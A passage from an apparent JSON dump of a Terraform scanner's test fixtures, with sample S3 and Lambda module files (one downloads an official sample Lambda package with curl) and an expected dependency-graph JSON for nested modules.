    "content": "output \"this_lambda_function_arn\" {\n  description = \"The ARN of the Lambda Function\"\n  value       = element(concat(aws_lambda_function.this.*.arn, [\"\"]), 0)\n}\n\noutput \"this_lambda_function_name\" {\n  description = \"The name of the Lambda Function\"\n  value       = element(concat(aws_lambda_function.this.*.function_name, [\"\"]), 0)\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/examples/notification/main.tf",
    "content": "locals {\n  bucket_name = \"s3-bucket-${random_pet.this.id}\"\n}\n\nresource \"random_pet\" \"this\" {\n  length = 2\n}\n\nmodule \"s3_bucket\" {\n  source = \"../../\"\n\n  bucket        = local.bucket_name\n  force_destroy = true\n}\n\n#############################################\n# Using packaged function from Lambda module\n#############################################\n\nlocals {\n  package_url = \"https://raw.githubusercontent.com/terraform-aws-modules/terraform-aws-lambda/master/examples/fixtures/python3.9-zip/existing_package.zip\"\n  downloaded  = \"downloaded_package_${md5(local.package_url)}.zip\"\n}\n\nresource \"null_resource\" \"download_package\" {\n  triggers = {\n    downloaded = local.downloaded\n  }\n\n  provisioner \"local-exec\" {\n    command = \"curl -L -o ${local.downloaded} ${local.package_url}\"\n  }\n}\n\ndata \"null_data_source\" \"downloaded_package\" {\n  inputs = {\n    id       = null_resource.download_package.id\n    filename = local.downloaded\n  }\n}\n\nmodule \"lambda_function1\" {\n  source  = \"terraform-aws-modules/lambda/aws\"\n  version = \"~> 1.0\"\n\n  function_name = \"${random_pet.this.id}-lambda1\"\n  handler       = \"index.lambda_handler\"\n  runtime       = \"python3.9\"\n\n  create_package         = false\n  local_existing_package = data.null_data_source.downloaded_package.outputs[\"filename\"]\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/main.tf",
    "content": "resource \"aws_s3_bucket\" \"this\" {\n  count = 1\n\n  bucket              = var.bucket\n  acl                 = \"\"\n  tags                = {}\n  force_destroy       = false\n}\n\nresource \"aws_s3_bucket_policy\" \"this\" {\n  count = var.create_bucket && (var.attach_elb_log_delivery_policy || var.attach_policy) ? 1 : 0\n\n  bucket = aws_s3_bucket.this[0].id\n  policy = var.attach_elb_log_delivery_policy ? {} : var.policy\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/outputs.tf",
    "content": "output \"this_s3_bucket_id\" {\n  description = \"The name of the bucket.\"\n  value       = element(concat(aws_s3_bucket_policy.this.*.id, aws_s3_bucket.this.*.id, list(\"\")), 0)\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/s3-bucket/variables.tf",
    "content": "variable \"create_bucket\" {\n  description = \"Controls if S3 bucket should be created\"\n  type        = bool\n  default     = true\n}\n\nvariable \"attach_elb_log_delivery_policy\" {\n  description = \"Controls if S3 bucket should have ELB log delivery policy attached\"\n  type        = bool\n  default     = false\n}\n\nvariable \"attach_policy\" {\n  description = \"Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)\"\n  type        = bool\n  default     = false\n}\n\nvariable \"bucket\" {\n  description = \"(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name.\"\n  type        = string\n  default     = null\n}\n\nvariable \"policy\" {\n  description = \"(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide.\"\n  type        = string\n  default     = null\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/another_one/main.tf",
    "content": "module \"another_s3_module\" {\n  source = \"../module3\"\n\n  bucket = aws_s3_bucket.example_another.id\n}\n\nresource \"aws_s3_bucket\" \"example_another\" {\n  bucket = \"example_another\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/another_one/variable.tf",
    "content": "variable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/example.tfcloud/main.tf",
    "content": "resource \"aws_s3_bucket\" \"example3\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/expected_local_graph.json",
    "content": "{\n  \"vertices\": [\n    {\n      \"attributes\": {\n        \"__end_line__\": 5,\n        \"__start_line__\": 1,\n        \"bucket\": [\n          \"aws_s3_bucket.example_another.id\"\n        ],\n        \"source\": [\n          \"../module3\"\n        ],\n        \"__address__\": \"another_s3_module\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"another_s3_module\": {\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"/module3/main.tf([{/another_one/main.tf#*#0}])\",\n            \"/module3/variable.tf([{/another_one/main.tf#*#0}])\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket\": [\n            \"aws_s3_bucket.example_another.id\"\n          ],\n          \"source\": [\n            \"../module3\"\n          ],\n          \"__address__\": \"another_s3_module\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"another_s3_module\",\n      \"path\": \"/another_one/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 9,\n        \"__start_line__\": 7,\n        \"bucket\": [\n          \"example_another\"\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"aws_s3_bucket.example_another\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"example_another\": {\n            \"__end_line__\": 9,\n            \"__start_line__\": 7,\n            \"bucket\": [\n              \"example_another\"\n            ],\n            \"__address__\": \"aws_s3_bucket.example_another\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.example_another\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"aws_s3_bucket.example_another\",\n      \"path\": \"/another_one/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"__address__\": \"bucket\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"bucket\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"bucket\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"bucket\",\n      \"path\": \"/another_one/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"bucket\": [\n          \"example\"\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"aws_s3_bucket.example3\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"example3\": {\n            \"__end_line__\": 3,\n            \"__start_line__\": 1,\n            \"bucket\": [\n              \"example\"\n            ],\n            \"__address__\": \"aws_s3_bucket.example3\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.example3\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"aws_s3_bucket.example3\",\n      \"path\": \"/example.tfcloud/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 9,\n        \"__start_line__\": 5,\n        \"bucket\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"source\": [\n          \"./module\"\n        ],\n        \"__address__\": \"s3_module\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"s3_module\": {\n          \"__end_line__\": 9,\n          \"__resolved__\": [\n            \"/module/main.tf([{/main.tf#*#0}])\",\n            \"/module/variable.tf([{/main.tf#*#0}])\"\n          ],\n          \"__start_line__\": 5,\n          \"bucket\": [\n            \"aws_s3_bucket.example.id\"\n          ],\n          \"source\": [\n            \"./module\"\n          ],\n          \"__address__\": \"s3_module\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"s3_module\",\n      \"path\": \"/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 15,\n        \"__start_line__\": 11,\n        \"bucket\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"source\": [\n          \"./module\"\n        ],\n        \"__address__\": \"s3_module2\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"s3_module2\": {\n          \"__end_line__\": 15,\n          \"__resolved__\": [\n            \"/module/main.tf([{/main.tf#*#1}])\",\n            \"/module/variable.tf([{/main.tf#*#1}])\"\n          ],\n          \"__start_line__\": 11,\n          \"bucket\": [\n            \"aws_s3_bucket.example2.id\"\n          ],\n          \"source\": [\n            \"./module\"\n          ],\n          \"__address__\": \"s3_module2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"s3_module2\",\n      \"path\": \"/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"region\": [\n          \"us-west-2\"\n        ],\n        \"__address__\": \"aws.default\"\n      },\n      \"block_type\": \"provider\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"aws\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"region\": [\n            \"us-west-2\"\n          ],\n          \"__address__\": \"aws.default\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"aws\",\n      \"path\": \"/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 19,\n        \"__start_line__\": 17,\n        \"bucket\": [\n          \"example\"\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"aws_s3_bucket.example\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"example\": {\n            \"__end_line__\": 19,\n            \"__start_line__\": 17,\n            \"bucket\": [\n              \"example\"\n            ],\n            \"__address__\": \"aws_s3_bucket.example\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.example\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"aws_s3_bucket.example\",\n      \"path\": \"/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 23,\n        \"__start_line__\": 21,\n        \"bucket\": [\n          \"example\"\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"aws_s3_bucket.example2\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {},\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"example2\": {\n            \"__end_line__\": 23,\n            \"__start_line__\": 21,\n            \"bucket\": [\n              \"example\"\n            ],\n            \"__address__\": \"aws_s3_bucket.example2\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.example2\",\n      \"module_connections\": {},\n      \"module_dependency\": null,\n      \"module_dependency_num\": null,\n      \"name\": \"aws_s3_bucket.example2\",\n      \"path\": \"/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": []\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 4,\n        \"__start_line__\": 1,\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"source\": [\n          \"../module2\"\n        ],\n        \"__address__\": \"module.s3_module.inner_s3_module\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket\",\n            \"path\": \"/module/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])\",\n            \"/module2/variable.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"aws_s3_bucket.example.id\"\n          ],\n          \"source\": [\n            \"../module2\"\n          ],\n          \"__address__\": \"module.s3_module.inner_s3_module\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/main.tf\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"inner_s3_module\",\n      \"path\": \"/module/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        4\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 9,\n        \"__start_line__\": 6,\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"source\": [\n          \"../module2\"\n        ],\n        \"__address__\": \"module.s3_module.inner_s3_module_2\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket\",\n            \"path\": \"/module/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module_2\": {\n          \"__end_line__\": 9,\n          \"__resolved__\": [\n            \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])\",\n            \"/module2/variable.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])\"\n          ],\n          \"__start_line__\": 6,\n          \"bucket2\": [\n            \"aws_s3_bucket.example.id\"\n          ],\n          \"source\": [\n            \"../module2\"\n          ],\n          \"__address__\": \"module.s3_module.inner_s3_module_2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/main.tf\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"inner_s3_module_2\",\n      \"path\": \"/module/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        4\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 4,\n        \"__start_line__\": 1,\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"source\": [\n          \"../module2\"\n        ],\n        \"__address__\": \"module.s3_module2.inner_s3_module\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket\",\n            \"path\": \"/module/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])\",\n            \"/module2/variable.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"aws_s3_bucket.example2.id\"\n          ],\n          \"source\": [\n            \"../module2\"\n          ],\n          \"__address__\": \"module.s3_module2.inner_s3_module\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/main.tf\",\n      \"module_dependency_num\": \"1\",\n      \"name\": \"inner_s3_module\",\n      \"path\": \"/module/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        5\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 9,\n        \"__start_line__\": 6,\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"source\": [\n          \"../module2\"\n        ],\n        \"__address__\": \"module.s3_module2.inner_s3_module_2\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket\",\n            \"path\": \"/module/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module_2\": {\n          \"__end_line__\": 9,\n          \"__resolved__\": [\n            \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])\",\n            \"/module2/variable.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])\"\n          ],\n          \"__start_line__\": 6,\n          \"bucket2\": [\n            \"aws_s3_bucket.example2.id\"\n          ],\n          \"source\": [\n            \"../module2\"\n          ],\n          \"__address__\": \"module.s3_module2.inner_s3_module_2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/main.tf\",\n      \"module_dependency_num\": \"1\",\n      \"name\": \"inner_s3_module_2\",\n      \"path\": \"/module/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        5\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.bucket\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket\",\n            \"path\": \"/module/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module.bucket\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/main.tf\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket\",\n      \"path\": \"/module/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        4\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.bucket\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket\",\n            \"path\": \"/module/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2.bucket\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/main.tf\",\n      \"module_dependency_num\": \"1\",\n      \"name\": \"bucket\",\n      \"path\": \"/module/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        5\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 4,\n        \"__start_line__\": 1,\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"source\": [\n          \"../module3\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module.inner_s3_module2\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 9\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#0}])}])}])\",\n            \"/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#0}])}])}])\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"aws_s3_bucket.example.id\"\n          ],\n          \"source\": [\n            \"../module3\"\n          ],\n          \"__address__\": \"module.s3_module.module.inner_s3_module.inner_s3_module2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#0}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"inner_s3_module2\",\n      \"path\": \"/module2/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        9\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 4,\n        \"__start_line__\": 1,\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"source\": [\n          \"../module3\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module.inner_s3_module2\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 11\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#1}])}])}])\",\n            \"/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#0([{/main.tf#*#1}])}])}])\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"aws_s3_bucket.example2.id\"\n          ],\n          \"source\": [\n            \"../module3\"\n          ],\n          \"__address__\": \"module.s3_module2.module.inner_s3_module.inner_s3_module2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#1}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"inner_s3_module2\",\n      \"path\": \"/module2/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        11\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 4,\n        \"__start_line__\": 1,\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"source\": [\n          \"../module3\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module_2.inner_s3_module2\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 10\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#0}])}])}])\",\n            \"/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#0}])}])}])\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"aws_s3_bucket.example.id\"\n          ],\n          \"source\": [\n            \"../module3\"\n          ],\n          \"__address__\": \"module.s3_module.module.inner_s3_module_2.inner_s3_module2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#0}])\",\n      \"module_dependency_num\": \"1\",\n      \"name\": \"inner_s3_module2\",\n      \"path\": \"/module2/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        10\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 4,\n        \"__start_line__\": 1,\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"source\": [\n          \"../module3\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module_2.inner_s3_module2\"\n      },\n      \"block_type\": \"module\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 12\n          }\n        ]\n      },\n      \"config\": {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"/module3/main.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#1}])}])}])\",\n            \"/module3/variable.tf([{/module2/main.tf#*#0([{/module/main.tf#*#1([{/main.tf#*#1}])}])}])\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"aws_s3_bucket.example2.id\"\n          ],\n          \"source\": [\n            \"../module3\"\n          ],\n          \"__address__\": \"module.s3_module2.module.inner_s3_module_2.inner_s3_module2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#1}])\",\n      \"module_dependency_num\": \"1\",\n      \"name\": \"inner_s3_module2\",\n      \"path\": \"/module2/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        12\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": 